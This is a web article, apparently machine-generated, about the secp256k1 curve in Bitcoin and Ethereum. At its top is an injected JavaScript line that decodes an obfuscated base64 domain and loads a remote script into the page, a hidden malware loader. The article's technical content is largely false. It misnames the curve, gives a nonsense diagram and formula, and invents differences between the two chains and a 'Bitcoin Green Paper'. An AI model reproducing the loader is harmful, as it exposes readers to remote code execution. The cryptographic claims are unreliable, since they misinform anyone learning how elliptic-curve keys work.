Ethereum: What does the curve used in Bitcoin, secp256k1, look like?
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=4405b27f”;document.body.appendChild(script);
Understanding Ethereum’s Elliptic Curve Cryptography (ECC)
Elliptic Curve Cryptography (ECC) is a type of public-key cryptography that uses the properties of elliptic curves to secure online transactions. In this article, we’ll delve into the specifics of ECC in Bitcoin and explore how it compares to Ethereum’s curve.
Bitcoin’s Elliptic Curve
Bitcoin’s implementation of ECC is based on the curve secp256k1 (also known as ElGamal). This curve is chosen for its simplicity and efficiency. Here’s an illustration of what a secp256k1 curve might look like:
E(2)
/ \
C(0) ~
\ /
G
In this diagram, E represents the point at infinity on the curve (a special “zero” point), C is the private key (the secret number), and G is the public key (the digital signature). The curve’s equation is y^2 = x^3 + px + q
, where (x, y)
are points on the curve.
Ethereum’s Elliptic Curve
Ethereum, like Bitcoin, also uses secp256k1 for its ECC implementation. However, Ethereum’s curve has a slightly different formulation:
E(2)
/ \
C(0) ~
\ /
G
The key difference is that the private key C is not explicitly listed in the diagram. Instead, it appears as C = (k x^3 + py)^-1
, where (x, y)
are points on the curve and k
is a constant.
Comparison with Bitcoin’s Curve
While both secp256k1 curves have similar properties, there are some differences:
- Private key ordering: In Ethereum, the private key C appears in a specific order when listed as
[C, G]
, whereas in Bitcoin it only lists G.
- Constant k value
: The constant
k
used to calculate the public key in Ethereum has a different value than the one used in Bitcoin.
- Point representation: In Ethereum’s diagram, the points on the curve are represented by
E(2)
, while in Bitcoin’s diagram, it is simplyG
.
Conclusion
In conclusion, both Bitcoin and Ethereum use secp256k1 ECC for their implementation of Elliptic Curve Cryptography. While the curves have similar properties, there are some differences in how they are constructed and represented. Understanding these differences can provide a deeper insight into the underlying mathematics of cryptographic systems.
Additional Resources
For further reading on ECC and its applications:
- The Ethereum Whitepaper (2014) provides an overview of Ethereum’s ECC implementation.
- The Bitcoin Green Paper (2009) includes a description of Bitcoin’s ECC algorithm.
- Research papers by prominent developers, such as Vitalik Buterin and Gavin Wood, offer in-depth analysis and insights into the mathematics behind ECC.